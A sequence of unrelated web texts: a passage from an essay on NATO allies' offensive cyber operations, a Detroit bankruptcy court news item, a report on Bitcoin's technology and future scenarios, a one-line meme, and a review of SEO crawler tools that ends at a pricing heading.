The risks of occurring are higher than one may think as intelligence agencies have a tendency and incentive to target and track the same entities. For example, in late 2014, cybersecurity company Kaspersky Lab reported on the Magnet of Threats. The cybersecurity company discovered a server belonging to a research organization in the Middle East that simultaneously hosted implants for at least five Advanced Persistent Threat (APT) actors: Regin and the Equation Group (English language), Turla and ItaDuke (Russian language), Animal Farm (French language) and Careto (Spanish language). Consider what would have happened if one of those five APT groups had sought to cause a disruptive effect—rather than collect intelligence—against the target in the Middle East. It likely would have resulted in much earlier discovery and analysis by threat intelligence companies (or other actors) exposing the tactics, techniques and procedures (TTPs) of each actor group.
Also, even the anticipation of more cyber effect operations in nonallied networks from one allied state could lead to a change in operations by another state. Indeed, states have shown in the past that the anticipation of early discovery of an operation has led to a change in their TTPs. For example, the National Security Agency (NSA) created an “exploit orchestrator” called FoxAcid, an Internet-enabled system capable of attacking target computers in a variety of different ways, depending on whether it is discovered—or likely to be discovered—in a given network. FoxAcid has a modular design, with flexibility allowing the NSA to swap and replace exploits and run different exploits based on various considerations. Against technically sophisticated targets where the chance of detection is high, FoxAcid would normally choose to run low-value exploits.
Not a Silver Bullet
While I argue that the NATO memorandum of understanding on offensive cyber operations in systems or networks based in allied territory can greatly help in promoting stability and enhancing confidence among allies, it is not a silver bullet. It can only reduce allied concerns rather than mitigate them. Military cyber organizations may still conduct effect-based operations in allied territory without consent, leading allies to assert that their sovereignty has been violated. And there’s another crucial player involved. As Gen. Nakasone noted in the Joint Force Quarterly article, cyberspace is owned largely by the private sector. They deserve a seat at the table as well.
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DETROIT, MI -- U.S. Bankruptcy Judge Steven Rhodes plans to lift a stay of litigation against the city in the case of a slain police officer unless Detroit develops a plan to settle all its lawsuits within 35 days.
Detroit entered bankruptcy proceedings in July, citing over $18 billion in debt, resulting in hundreds of lawsuits against the city being put on hold.
Deborah Ryan, who sued the city over the 2009 death of her daughter, asked Rhodes last month to lift the stay.
Ryan's daughter Patricia "Katie" Williams was a Detroit police officer killed by her husband Edward Williams, also a Detroit cop, in Canton Township in 2009.
She sued Detroit, two Detroit police supervisors, Canton Township and two Canton police officers, claiming they failed to fully address signs including a suicide note that indicated her daughter's husband was unstable and dangerous.
Edward Williams shot and killed Katie Williams on Sept. 22, 2009 in a parking lot between the Canton Township library and police station before turning the gun on himself.
The couple left behind a 9-year-old son.
The lawsuit cites the Civil Rights Act, claiming authorities would have acted differently had the Williams not been police officers.
Both the city and the township denied liability and filed motions for summary judgment.
The last hearing in the case was held in federal court on July 18, the same day Detroit filed for bankruptcy protection.
Rhodes on Tuesday granted Ryan's motion to lift the stay, "unless, within 35 days, the City files a motion for approval of an efficient process for liquidating all of the tort claims."
Follow MLive Detroit reporter Khalil AlHajal on Twitter @DetroitKhalil or on Facebook at Detroit Khalil. He can be reached at kalhajal@mlive.com or 313-643-0527.
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Virtual currencies such as Bitcoin could be the natural next stage in the evolution of money.
Introduction
Despite an explosion in media coverage, virtual currencies such as Bitcoin are misunderstood. Every day, news articles describe exchange meltdowns, price volatility, and government crackdowns. This focus on Bitcoin as a volatile and even renegade currency may be distracting governments and businesses from its potential long-term significance as a disruptive new money technology.
Bitcoin is more than just a new way to make purchases. It is a protocol for exchanging value over the Internet without an intermediary. Much has been written about the payment applications of Bitcoin, including remittances, micropayments, and donations. However, Bitcoin could soon disrupt other systems that rely on intermediaries, including transfer of property, execution of contracts, and identity management.
As the Bitcoin ecosystem evolves and use cases emerge, the public and private sectors will face new challenges, opportunities, and responsibilities. Government may discover new methods for executing its mission as a regulator and law enforcer, while corporations may build upon Bitcoin technology to create innovative products and services. In the future, Bitcoin may even revolutionize the way we conduct business and think about work. The sooner the public and private sectors understand the potential of this new technology, the better prepared they will be to mitigate its challenges and realize the benefits of Bitcoin and other similar virtual currencies.
This report explains the technology underlying Bitcoin and other virtual currencies, identifies new applications, and explores the impact of potential future scenarios. If Bitcoin’s short history is an indicator, the future of this technology will be an exciting ride.
Bitcoin overview
Bitcoin is best thought of as a natural next step in the evolution of money. Throughout history, many items have been used as a store of value and medium of exchange, such as cowrie shells, clay tablets, coins, and now paper money. Starting in the 18th century, nation-states increasingly used precious metals such as gold and silver to back their paper money, creating a monetary system called the gold standard. The gold standard required governments to hold enough precious metal reserves to support their currency. As the global economy became more complex in the second half of the 20th century, most nations eventually moved away from the gold standard, creating fiat currencies built on laws and trust in government.
As our understanding of money as a store of value, medium of exchange, and unit of account has matured, so have the methods and modes for exchanging it. In this sense, the exchange of money has always been a function of the technology available. We moved from precious metal coins to paper money before inventing checks, then credit cards. Yet credit cards weren’t created for the Internet era. They’ve simply been adapted to meet the needs of consumers operating in a networked and digital world. With the consumer-accessible Internet now 20 years old, the question is not why a currency specifically designed for the Internet has emerged, but what took it so long.
Bitcoin is one of the first currencies born on the Internet to be used in the real economy. It can be used to make purchases of goods like smartphones, hotel stays, pizza, and coffee. Other virtual currencies have since been created from the same open source code as Bitcoin, including Litecoin and Dogecoin, the virtual currency based on the Doge meme.1 More are popping up every day. Some of these currencies aim to improve upon Bitcoin’s technical or operational difficulties, such as transaction speed and security. However, Bitcoin so far has sustained its first-mover advantage. It is the most popular and has the highest value in circulation. As of June 4, 2014, there are 12.85 million bitcoins in circulation with a total market capitalization of $8.3 billion.2
How does Bitcoin work?
Bitcoin is a protocol for exchanging value over the Internet without an intermediary (figure 1). It’s based on a public ledger system, known as the block chain, that uses cryptography to validate transactions. Bitcoin users gain access to their balance through a password known as a private key. Transactions are validated by a network of users called miners, who donate their computer power in exchange for the chance to gain additional bitcoins. There is a fixed supply of 21 million bitcoins that will be gradually released over time at a publicly known rate. There is no monetary authority that creates bitcoins. The capped supply of 21 million is known to all, and the rate of supply diminishes over time in a predictable way. As a store of value, this means that bitcoins are inherently deflationary. It also means that there is no government or central entity to make discretionary decisions about how much currency to create or attempt to defend it through monetary policy actions.3
In order to process a bitcoin-denominated transaction, Bitcoin verifies two facts addressed by current payment systems like PayPal or Visa. The first is that when user A transfers a bitcoin to user B, user A has a bitcoin to spend (that is, prevention of counterfeiting). The second is that when user A transfers a bitcoin to user B, user A is not trying to transfer the same bitcoin to another user, user C, simultaneously (that is, prevention of double spending).
As Bitcoin matures, an ecosystem of companies is emerging to support consumers and retailers in storing, exchanging, and accepting bitcoins for goods and services:
Banks and wallets store bitcoins for users either online or on storage devices not connected to the Internet, known as “cold storage.”
store bitcoins for users either online or on storage devices not connected to the Internet, known as “cold storage.” Exchanges provide access to the Bitcoin protocol by exchanging traditional currencies for bitcoins and vice versa.
provide access to the Bitcoin protocol by exchanging traditional currencies for bitcoins and vice versa. Payment processers support merchants in accepting bitcoins for goods and services.
support merchants in accepting bitcoins for goods and services. Financial service providers support Bitcoin through insurance or Bitcoin-inspired financial instruments.
What are the qualities of Bitcoin as a technology system?
Bitcoin has three qualities that differentiate it from other currencies and payment systems.
First, Bitcoin is peer to peer, transferring value directly over the Internet through a decentralized network without an intermediary. Current payment systems, like credit cards and PayPal, require an intermediary to validate transactions; Bitcoin does not. As a result, Bitcoin has been referred to as “Internet cash,” as it can be exchanged from person to person much like paper currency today.
Second, Bitcoin is open, yet securely authenticated. Traditional payment systems rely on the privacy of transaction information to maintain security. For example, the compromise of a credit card transaction can result in the release of valuable information that can be used to conduct future transactions. In comparison, Bitcoin relies on cryptography. As every transaction is validated with cryptography by the network of miners, Bitcoin functions because of its openness, not despite it.
Third, Bitcoin is self-propelling. Bitcoin uses its own product, bitcoins, to reward or “pay” miners who are providing the computing power that serves as the engine of the transaction verification system. As a result, the system does not require the same type of overhead that traditional payment systems might require. In this sense, Bitcoin functions because of those participating in the system.
These three aspects are part of what drives Bitcoin’s success, enabling a nearly frictionless global payment system. However, these same factors have also created challenges.
Miners are individuals that provide the computing power for Bitcoin’s validation process in exchange for the opportunity to gain new bitcoins. Together, miners make up Bitcoin’s distributed network. Miners use their computing power to validate transactions by solving a cryptographic problem, called a hash function. By using their computing power for this work, miners are rewarded with bitcoins. This is how new bitcoins enter the money supply. Because the money supply is capped and the rate of supply diminishes over time, the difficulty of creating a block increases and the actual amount rewarded for each new block created decreases.
Mining has been the subject of significant media coverage, as an arms race has grown around hardware designed to perform highly specialized computations to mine bitcoins. In the early days of Bitcoin, miners were mainly hobbyists using personal computers to solve relatively simple cryptographic problems. Now, miners are raising investor dollars to construct server farms optimized for bitcoin mining.
Bitcoin caveats: Speculation, regulation, and whatever
In order to achieve wider adoption as a currency, Bitcoin needs to address significant questions around volatility, regulatory uncertainty, exchange security, ease of use, and transaction volume.
Bitcoin speculators have driven significant price volatility, reducing Bitcoin’s utility as a medium of exchange. People may be reluctant to use Bitcoin to make large future commitments of value, or even buy a cup of coffee, when the price can change by 30 percent overnight. Unless Bitcoin’s volatility settles, it will be used less as a currency and more as a vehicle for speculation and “get rich quick” schemes, much like a penny stock.
The global regulatory environment around Bitcoin remains uncertain. Any news of new government scrutiny or rumors of a policy change can significantly affect Bitcoin prices, reducing its stability as a currency. At the same time, businesses are unwilling to engage in the Bitcoin economy, while governments treat it as a fringe movement that is the purview of black-market operators and drug dealers, such as Silk Road. As governments begin to issue consistent guidance on Bitcoin, businesses may become more willing to accept it as a form of payment.
Security problems, punctuated by highly publicized exchange meltdowns, may prevent mainstream usage of bitcoins as a currency. Many exchanges that have suffered—including Mt. Gox, which experienced the most notorious exchange collapse—were built on unstable platforms with little security, due to their having been created when bitcoin trading was small and nascent. Mt. Gox was like a bank storing valuables in the lobby entrance. To mature, exchange security needs to be as strong as at traditional banks.
The requirements necessary to safely store bitcoins have created ease-of-use problems. Though digital wallets have worked to solve some of these problems, best practices for storing bitcoins include locking flash drives in a bank vault. Really? Mainstream consumers are unlikely to use Bitcoin until wallet services develop more user-friendly and secure storage techniques.
One of the first major online retailers to accept bitcoins, Overstock.com, made more than $124,000 in bitcoin sales on January 10, 2014, its first day of accepting the currency.
Validating transactions requires significant electricity, bandwidth, and data storage. The resources required to support Bitcoin’s relatively small volume of transactions are already being pushed to their limits. Currently, Bitcoin averages about 60,000 transactions per day.4 VisaNet, the electronic payment processing network used by Visa, handles more than 150 million transactions daily from 2.1 billion Visa cards and over 2 million ATMs.5 It can do this because it charges fees for the resources required to operate its servers. In order to support mainstream transaction volumes, the Bitcoin system for validating transactions will likely have to change how it uses electricity, bandwidth, and data storage.
Despite these obstacles, mainstream merchants are beginning to explore Bitcoin. One of the first major online retailers to accept bitcoins, Overstock.com, made more than $124,000 in bitcoin sales on January 10, 2014, its first day of accepting the currency. By March 2014, Overstock.com had topped $1 million in bitcoin purchases. The company has revised its bitcoin revenue projection for 2014 from an initial $3 to 5 million to $20 million.6 According to Overstock.com, Bitcoin’s popularity and its low fee structure drove new consumers to its marketplace. More large-scale merchants and mainstream actors in the global economy are following suit. SecondMarket, an online marketplace for buying and selling illiquid assets such as venture-backed private-company stock, is opening a Bitcoin trading platform for institutional investors.
Bitcoin: Beyond money
Bitcoin is more than a new currency. Bitcoin and other virtual currencies are creating a new architecture for exchanging information over the Internet that is peer to peer, open yet secure, and nearly frictionless. Imagine how other systems that rely on intermediaries, such as property transfer, contract execution, and identity management, could be disrupted by a similarly open peer-to-peer system.
System of payment
Bitcoin reduces friction in payments. Currently, when an individual transfers funds, he or she must work with a third party. This intermediary, such as a credit card or payments company, often exacts high fees. For example, for remittances, there is an average fee of 9 percent, with some banks charging an additional fee of up to 5 percent for turning the remittance into cash.7
Bitcoin allows for a direct payment to anyone, anywhere in the world, at any time (figure 2). With Bitcoin, an individual could transfer value to his or her cousin in India without paying a fee to a global money transmitter or a bank for the wire transfer. Though most uses of Bitcoin to make payments will rely on third parties, like Coinbase, Bitcoin may allow these companies to charge lower fees than they do today. This could disrupt the global remittance market, valued at $514 billion in 2012, by providing a less expensive method for direct transfers globally.8 Current providers may be forced to lower fees or be replaced by entrants like BitPesa, a mobile payment application for Bitcoin in the developing world.
In the same way that Bitcoin lowers transaction costs for remittances, it could also lower transaction costs for everyday purchases of low-margin items. Today, if someone buys a donut with a credit card, the merchant pays an interchange fee to the credit card issuer. This interchange fee is usually a small flat amount (10-20 cents) plus a percentage of 1-3 percent.9 For a low-margin good like a donut, a 10- to 20-cent flat fee can approach 100 percent of the cost of goods. This interchange fee is often passed on to the customer. Using Bitcoin, the transaction fee could be lowered to as little as 1 percent.10 This could ultimately evolve into a new payment system for credit card companies and banks.
Transfer of property
The Bitcoin protocol could simplify complex asset transfers, revolutionizing the services that support this industry (figure 3). Currently, the transfer of large assets requires significant time and resources. For example, in order to purchase a car from an individual seller, one has to engage a third party to transfer the title. Additionally, one has to use services to learn about the car’s accident and inspection history. And who doesn’t like to spend a Saturday at the Department of Motor Vehicles updating a car registration?
The block chain, Bitcoin’s public ledger, could change all of this. Bitcoins can be qualified in such a way that they represent real-world assets. Bitcoin entrepreneurs at companies like Colored Coin are already working on ways to use small portions of Bitcoin to denote physical property. A fraction of a Bitcoin would publicly identify who currently owns that property, and could include a record of both past ownership and other history about the property. When purchasing a car, one would be able to verify all accidents and inspections over the block chain and transfer the title on site. Similarly, real estate and financial instrument transactions could all be executed over Bitcoin or a similar protocol.
This could soon create efficiencies and reduce friction by allowing individuals to directly transfer property without the use of a broker, lawyer, or notary to sign off on the transfer.
Execution of contracts
Bitcoin could similarly be used to structure contracts, bringing new efficiency and transparency to the process (figure 4). Contracts are typically developed by lawyers on a case-by-case basis, with significant time and resources devoted to negotiation, development, and enforcement. Additionally, markets based on contracts, including certain financial derivatives markets, lack transparency, which complicates regulation.
Traditional contracts could be replaced by code that self-executes when a triggering event occurs. In a simple example, a financial instrument, like an option, could be developed and executed over the block chain. In addition to reducing legal fees, this could bring new transparency to financial markets, as regulators could use the public ledger to understand the market without forcing individual actors to reveal their specific positions. It is possible that new crypto-currencies will emerge to serve these niche purposes.
New ventures, like Ethereum, are creating these capabilities today. Ethereum is developing a network to serve as both the registry and escrow to execute the conditions of a contract automatically through rules that can be checked by others.
Identity management
Bitcoin’s cryptography and block chain could also transform identity management. Much of identity management, including passports, still operates on a paper-based system. These documents are frequently forged and stolen. Interpol’s database currently lists 39 million stolen travel documents. But what if there was a way to create a unique, verifiable key that was impossible to forge?
A cryptographic network similar to but separate from Bitcoin could be used to verify individuals’ identities and monitor movement across borders (figure 5). When a person travels through a checkpoint at a border crossing, instead of showing and scanning a paper passport, he or she could present his or her Bitcoin key. A network privately maintained by the government, a contractor, or other entity could verify the key and register the entry into the ledger. This system, based on cryptography instead of paper documents, would simultaneously increase mobility and security. If Bitcoin can be used for travel documents, it could also be used for other forms of identity management like social security numbers, tax identification numbers, or even driver’s licenses.
Property, contracts, and identity management are only a few examples of how a peer-to-peer, open, and frictionless system could change business in the future. In order to achieve this wider adoption, Bitcoin will need to address significant questions around trust, ease of use, and operability. To date, the Bitcoin community has shown remarkable adaptability and it is already working to mitigate these problems. In the next decade, we can expect significant innovation around the Bitcoin network. Though much of that will revolve around payments, particularly early on, the evolution of Bitcoin could take several diverging paths.
Additional use cases for Bitcoin in the payment space include:
Banking services in developing countries
Developing countries with appropriate mobile phone infrastructure may be able to leapfrog the developed world in the maturation of mobile finance. As a form of electronic banking, Bitcoin could be an avenue for financial inclusion in emerging markets.
Micropayments
A micropayment is a very small financial transaction that occurs online. Practical systems to allow for the transfer of $1 or less online with a credit card do not exist. Bitcoin could facilitate the direct payment to musicians for individual songs or the ability to “tip” individuals on Twitter, Reddit, or other social media platforms. It could also be used for newspapers and other content producers looking for new revenue models.
Future of Bitcoin
Many factors will influence Bitcoin’s evolution, including regulation, technological innovation, and economic conditions. Predicting the future of Bitcoin today resembles what it must have been like to try to comprehend the significance of the Internet in the 1990s. Some experts, such as Ray Kurzweil in his book The Age of Intelligent Machines, first published in the late 1980s, got it spectacularly right. But others, like Paul Krugman, who in 1998 predicted that the Internet’s impact on the economy would be no greater than the fax machine’s, were dead wrong, though for understandable reasons.11 Timelines for the adoption and extension of new technologies are inherently unpredictable, primarily because their ultimate impact will be a result of how humans interact with them.
Bitcoin’s future can best be understood by considering four scenarios that represent a range of possible outcomes.
“Life on the fringe”
“Investors flee Bitcoin as another exchange collapse sends bitcoin prices plummeting”
Bitcoin, the currency, never solves its trust and security problems, reinforcing price volatility and skepticism. It remains an arena for illegal activity and speculation. As a result, companies in the Bitcoin ecosystem are unable to enter into mainstream commerce. Exchange collapses and sales of illicit goods and services continue to occur. The majority of bitcoins are held by speculators, crowding out users who want to use the protocol to make legitimate purchases. Bitcoin and its imitators resemble penny stocks instead of a payment system. In short, the focus on bitcoin’s obstacles as a currency prevent the benefits of the technology from being fully realized.
How you can tell if this scenario is happening:
Another exchange meltdown, security breach, or operational failure occurs
Volatility continues to be 10 to 15 times higher than traditional assets such as gold 12
Bitcoin suffers a flash crash
Why this scenario might not happen:
The Bitcoin community solves the trust and security problems related to bitcoin as currency
Bitcoin as technology overwhelms the reservations about bitcoin as currency by creating new offerings and markets
What government’s role could be:
Issue guidance and regulations on Bitcoin as a currency and as a technology, signaling that both aspects can be taken seriously
Focus on enforcement for illicit activity, like money laundering
Create safeguards to protect mainstream consumers from being victimized by Bitcoin wallet and exchange scams
“CorporateCoin”
“Payment card companies compete to offer low-fee Bitcoin-based payment options”
Payment and technology companies incorporate the Bitcoin protocol into their payment systems. These companies build proprietary payment platforms using cryptography for security and the block chain for transaction validation. Bitcoin moves to the back office and becomes invisible to the consumer in the same way that different Internet protocols are invisible to most web users. As a result, payments occur across the Bitcoin protocol, but consumers are not required to hold bitcoins. This drives down fees for payment cards and eliminates exchange risk. In short, the Bitcoin protocol grows as a money technology, is adopted by mainstream institutions, and begins to serve as the backbone of many Internet transactions.
How you can tell if this scenario is happening:
Services offered by traditional payment solutions, like credit and fraud protection, are provided around Bitcoin
A new wallet technology is introduced in the form of a Bitcoin payment card
Why this scenario might not happen:
Large payment companies lower fees to match Bitcoin without adopting its protocol
Corporations continue to distrust open-source technology
What government’s role could be:
Enable companies to use Bitcoin as a payment mechanism through tax and financial crimes enforcement guidance
Encourage payment companies to use the Bitcoin protocol to offer low-fee solutions for underbanked populations
“Satoshi for all”
“Regulators rescue Wall Street after block chain exposes new market risk”
Bitcoin becomes the protocol for all transfers of value, creating new visibility into financial markets and transforming the services around these functions. Exchanges of value and information, such as property transfer, contract execution, and identity management, are all performed on the block chain. As a result, the services that support these functions are revolutionized. Professionals like traders and lawyers focus on writing code and maintaining the block chain. The process of regulation is changed as well. Regulators download the ledger for a market, such as commodities, every day. Bitcoin’s pseudonymity allows regulators to understand the risk of entire markets, while still maintaining the privacy of individual actors. The government creates the Block Chain Administration to oversee cryptographic exchanges and provide consumer protection. In short, all transfers of value are executed in a peer-to-peer and open, yet secure way, reducing fees and increasing transparency.
How you can tell if this scenario is happening:
A piece of physical property is exchanged over the block chain
Financial instruments, such as options, are created and traded over the block chain
A Bitcoin-based central clearinghouse is launched
Why this scenario might not happen:
Economic path dependence on current systems prevents such significant disruption
Stakeholder interests challenge adoption
A Bitcoin programming skills gap expands as the demand for programmers increases
What government’s role could be:
Provide consumer protection and education
Regulate block chain-based transfers, providing standardization, security, and enforcement
“New networks”
“Number of individuals working 15 or more jobs reaches 10 percent of US population”
Two key attributes of Bitcoin enable a transition to a new model of work and employment. First, Bitcoin’s utility in facilitating micropayments allows people to more easily receive compensation for the many tasks they perform as part of a digital network. Second, and perhaps even more important, is that Bitcoin is a self-propelling, decentralized, peer-to-peer network that allows its members to derive both income and utility from their participation. Today’s technology services, like email and social media networks, provide utility to users free of charge and generate income for owners. But as the saying goes, if you’re getting something for free, you aren’t the customer, you’re the product. In a Bitcoin world, users are both the customer and the product, because individuals participate in the Bitcoin network by both exchanging the currency and validating the transactions. Currently, at the average day job, a person may spend eight hours at her desk and be paid an income for that one role. In addition, he or she is tweeting, reading news articles, and checking out blogs, generating valuable data throughout the entire day. In the future, we could engage in these same activities and get paid for all of them as Bitcoin enables payment for the myriad activities individuals perform as part of a networked economy.
How you can tell if this scenario is happening:
Mainstream online media sites reward commenters for input
A public technology company accounts for user income on its 10-K
Why this scenario might not happen:
This is a major departure from our current employment model
Achieving this scenario requires technological savvy on a larger scale than exists today
What government’s role could be:
Adjust definition of employment to include this new type of work
Refocus taxation and other policies to stimulate this new type of work
Tap into the new labor pool created by this employment model
These scenarios lie within the realm of the possible. Though the first scenario is closest to the status quo, current trends may indicate that the second scenario is possible in the near term, which may lay the groundwork for the seemingly more distant scenarios. Certainly, some skeptics argue that Bitcoin will be the Esperanto of finance.13 But, others are intrigued by Bitcoin’s potentially more revolutionary impact. As Kevin Kelly, co-founder of Wired, writes in his latest book New Rules for the New Economy, “The great benefits reaped by the new economy in the coming decades will be due in large part to exploring and exploiting the power of decentralized and autonomous networks.”14 Bitcoin is an early example of this future.
Given the spectrum of possible scenarios, the range of actions available to governments and businesses is broad. Some foreign governments have tried to ban Bitcoin by making the exchange of cash for bitcoins illegal. Others have taken a “wait and see” approach, allowing the ecosystem around Bitcoin to develop while closely monitoring it. In the United States, government agencies have begun to issue taxation and other guidance, paving the way for entrepreneurs to create a new wave of Bitcoin-related companies and large corporations to engage in the Bitcoin economy.
Bitcoin is yet another example of how new technologies and trends can pop up seemingly out of nowhere, creating problems and opportunities for government as it sorts out how to respond. Most governments chose a hands-off approach to the Internet when it emerged in the 1980s. But the lessons of the Internet should be fair warning that these new technologies can come out of nowhere and change everything. Bitcoin’s direct relevance to traditional government domains, such as currency and taxes, merits specific consideration. Given its broad potential impact on activities from contracts to identity management, agencies tasked with diverse operations, from financial markets oversight to border patrol, need to monitor Bitcoin’s evolution. Governments need to understand how Bitcoin will evolve in the short term. But even more importantly, they need to explore how the concepts underlying this new technology could intersect with their mission in the future.15
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If you wait for a girl to make the first move You're gonna have a bad time
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SEO crawlers are tools that crawl pages of a website much like search engine crawlers do in order to gain valuable SEO information. A good SEO crawler is an indispensable tool and will inevitably make SEO work much easier and less time-consuming.
These are the SEO crawlers reviewed in this article:
Here are additional SEO crawlers worth checking out which I did not review:
SEOCrawler.io
Raven Tools
Searchmetrics Crawler
IIS Site Analysis Web Crawler (a free tool)
Xenu’s Link Sleuth (a free tool)
BeamUsUp (a free tool)
SEOSpyder by Mobilio Development
SEOMator
CocoScan
Types of SEO Crawlers
There are two types of crawlers: desktop crawlers and cloud-based crawlers.
Desktop crawlers
These are the crawlers that you install on your computer.
Examples include Screaming Frog, Sitebulb, Link Assistant’s WebSite Auditor, and NetPeak Spider. Usually, desktop crawlers are much cheaper than cloud crawlers but they have some drawbacks, such as:
Crawls consume your memory and CPU. However, the situation is much better than it used to be in that crawlers are improving in the areas of memory & CPU management.
Collaboration is limited. You can’t just share a report with a client/colleague. You can, however, work around this by sending them a file with a crawl project.
Unfortunately, desktop crawlers generally struggle with crawl comparison (Sitebulb is an exception) and scheduling.
In general, desktop crawlers offer fewer features than cloud crawlers.
Many professional SEOs admit that even if they work with powerful and expensive cloud-based tools, they still regularly use desktop crawlers as well. Same here. There are some areas where desktop crawlers are more useful and convenient:
When I need to see the screenshot of a rendered view, I use SF (currently, it’s the only tool that supports this feature).
If I want to start a quick crawl with real-time preview, I use Screaming Frog.
When I am running out of credits in the cloud tool, I simply use a desktop crawler like Screaming Frog, WebSite Auditor, or SiteBulb.
For now, Screaming Frog and Sitebulb are better in spotting redirect chains than most of the premium tools.
Cloud crawlers
At Onely, we run desktop crawls using a server with 8 cores and 32 GB RAM. Even with a configuration like that, it’s common for us to have to stop crawls because we’re running out of memory. That’s one of the reasons why we use cloud crawlers too.
Cloud crawlers use cloud computing to offer more scalability and flexibility.
Most cloud-based crawlers allow for an online collaboration . Usually, you can grant access to the crawl results to a colleague/client. Some of the cloud crawlers even allow sharing individual reports.
It’s common to get dedicated, live support.
For the most part, you can easily notice changes between various crawls.
Generally, cloud-based crawlers are more powerful than desktop ones.
Many of them have basic data visualization features.
Of course, this comes at a cost. Cloud crawlers are much more expensive than desktop ones!
Methodology
Basic SEO reports List of indexable/non-indexable pages This helps you make sure that your indexing strategy is properly implemented. Missing title tags A crawler should show you a list of pages that have missing title tags. Filtering URLs by HTTP status code How many URLs are not found (404)? How many URLs are redirected (301)? List of Hx tags “Google looks at the Hx headers to understand the structure of the text on a page better.” – John Mueller (Google) View internal nofollow links Seeing an internal nofollow list allows you to make sure there aren’t any mistakes in your internal linking. External links list (outbound external) A crawler should allow you to analyze both the internal and external outbound links. Link rel=”next” (to indicate a pagination series) When you perform an SEO audit, you should analyze if the pagination series are implemented properly. Hreflang tags Hreflang tags are the foundation of international SEO, so a crawler should recognize them. Canonical tags Every SEO crawler should inform you about the canonical tags to let you spot potential indexing issues. Crawl depth – number of clicks from a homepage Additional information about the crawl depth can give you an overview of the structure of your website. If an important page isn’t accessible within a few clicks from a homepage, it may indicate poor website structure. Content analysis List of empty/thin pages A large number of thin pages can negatively affect your SEO efforts. A crawler should report them. Duplicate content reports A crawler should give you at least basic information on duplicates across your website. Convenience A detailed report for a given URL You may want to see internal links pointing to a particular URL or to see its headers, canonical tags, etc. Advanced URL filtering It’s common that I want to see the URLs that end with “.html”, or those which contain a product ID. A crawler must allow for filtering. Page categorizing Some crawlers offer the possibility to categorize crawled pages (blog, product pages, etc.) and generate reports dedicated to specific categories of pages. Adding additional columns to a report When I view a single report, I may want to add additional columns to get the most out of the data. Filtering URLs by type (HTML, CSS, JS, PDF, etc.) Crawlers visit resources of various types ( HTML, PDF, JPG). A crawler should support filtering by type. Overview Having all the detected issues on a single dashboard will not do the job for you, but it can make SEO audits more streamlined. Comparing crawls It’s important to compare the crawls that were done before and after any changes implemented on the website. Crawl settings List mode – crawl just the listed URLs This feature can help you if you want to perform a quick crawl of a small set of URLs. Changing the user agent Some websites may block crawlers and it’s necessary to change the user agent to be able to crawl them. Crawl speed adjusting Much like Googlebot, you should be able to adjust your crawl speed according to the server’s response. Setting crawl limits When crawling a very large website, you may want to set a limit to the number of crawled URLs or the crawl depth. Analyzing a domain protected by an htaccess login This is a helpful feature if you want to crawl the staging environment of a website. Directory/subdomain exclusion It’s helpful if you can disallow the crawler from crawling a particular directory or a subdomain. Maintenance Crawl scheduling It’s handy to be able to schedule a crawl and set monthly/weekly crawls. Indicating the crawling progress If you deal with large websites, you should be able to see the current status of the crawl. Robots.txt monitoring Accidental changes in robots.txt can lead to an SEO disaster. It’s beneficial if a crawler detects changes in robots.txt and informs you. Crawl data retention It’s helpful if a crawler can store crawl data for a long period of time. Notifications A crawler should inform you when the crawl is done (desktop notification/email). Advanced SEO reports List of pages with less than x links incoming If there are no internal links pointing to a page, Google may think it’s irrelevant. Comparison of URLs found in sitemaps and in a crawl. Sitemaps should contain all your valuable URLs. If some pages are not included in the sitemap, Google may struggle to find it. If a URL is included in the sitemap, but can’t be found by the crawler, Google may think that page isn’t relevant. Internal PageRank value Although PageRank calculations can’t reflect Google’s link graph, it’s an important feature. PageRank is still one of Google’s ranking factors. Mobile audit In mobile-first indexing, it’s necessary to perform a content parity audit and compare the mobile and desktop versions of your website Additional SEO reports List of malformed URLs Sometimes, websites use improper links, such as http://http://www.example.com. Users and search engine bots can’t visit those links. List of URLs with parameters Commonly, URLs with parameters create duplicate content. it’s beneficial to analyze what kind of parameters a website is using. Redirect chains report Nobody likes redirect chains. A crawler should find redirect chains for you so that you can fix them. Website speed reports Performance is increasingly more important both for users and search engines. Crawlers should analyze your web performance. List of URLs blocked by robots.txt You should review the list of URLs blocked by robots.txt to make sure it adheres to your indexing strategy. Schema.org detection Properly implemented structured data markup is crucial to your search visibility. Export, sharing Exporting to Excel/CSV? Being able to export the crawl data to various formats will save you plenty of time. Creating custom reports/dashboards When working with a client or a colleague, you may want to create a dashboard showcasing a particular set of issues. Exporting individual reports Let’s say that you want to share a report which shows 404 URLs with your developers. Does the crawler support it? Granting access to a crawl to another person It’s pretty common that two or more people work on the same SEO audit. Thanks to report sharing, you can work simultaneously. Miscellaneous Why and how to address the issues If you are new to SEO, you will appreciate the explanation of the issues that many crawlers provide. Custom extraction A crawler should let you perform a custom extraction to enrich your crawl. For instance, while auditing an e-commerce website, you should be able to scrape information about product availability and price. Can a crawler detect a unique part that is not a part of the template? Some crawlers let you only analyze the unique parts of a page (omitting the navigation, footer, header etc.) Integration with other tools It’s useful if you can easily combine your crawl data with data from other sources, like Google Analytics, Google Search Console, backlinks tools (Ahrefs, Majestic SEO), or server logs. JavaScript rendering If your website depends heavily on JavaScript, you need a crawler that is able to render it. Why you should use the particular crawler I reached out to the crawlers’ representatives to hear why they think their tool is the best choice.
Desktop Crawlers
£149.00 per year per license. The cost is reduced if you purchase multiple licenses. For instance, if you purchase 20+ licenses, the cost per license goes down to £119.00.
Screaming Frog is the most popular desktop crawler. It checks for virtually every necessary aspect of SEO: canonicals, status codes, titles, headers, etc. It’s a very customizable tool – there are tons of options you can configure.
Screaming Frog is also up to date with the most recent trends. It allows for JavaScript crawling, and you can integrate the crawl data with Google Analytics and Google Search Console.
There’s one aspect where Screaming Frog could use some improvement: data visualization. In this category, Sitebulb is simply superior.
Notable features of the Screaming Frog SEO Crawler:
Structured data validation. JavaScript crawling. Website structure visualizations. Full command-line interface to manage crawls. Reporting canonical chains. Near duplicate content detection. Information on link position – content/footer/sidebar. AMP crawling & validation. Scheduling. You can schedule crawls (daily/weekly/monthly) and set up auto exporting. It’s a big step forward, but I am still missing the ability to easily compare the data between crawls. Web performance reports (Lighthouse + Chrome User Experience Report). Auto-saving & the ability to resume previously lost crawls. When you manage huge crawls, you can exclude storing particular elements (e.g. meta keyword) to save up the disk space.
Tip: when you do a crawl, don’t forget to enable post-crawl analysis, which will allow you to get the most out of the data.
Screaming Frog now offers visualization of links. You can choose one of two types of visualizations – crawl tree or directory tree. Both are valuable for SEO audits. The former can show you groups of pages and how they are connected. The latter can help you understand the structure of a website.
Checklist for Screaming Frog.
Pricing
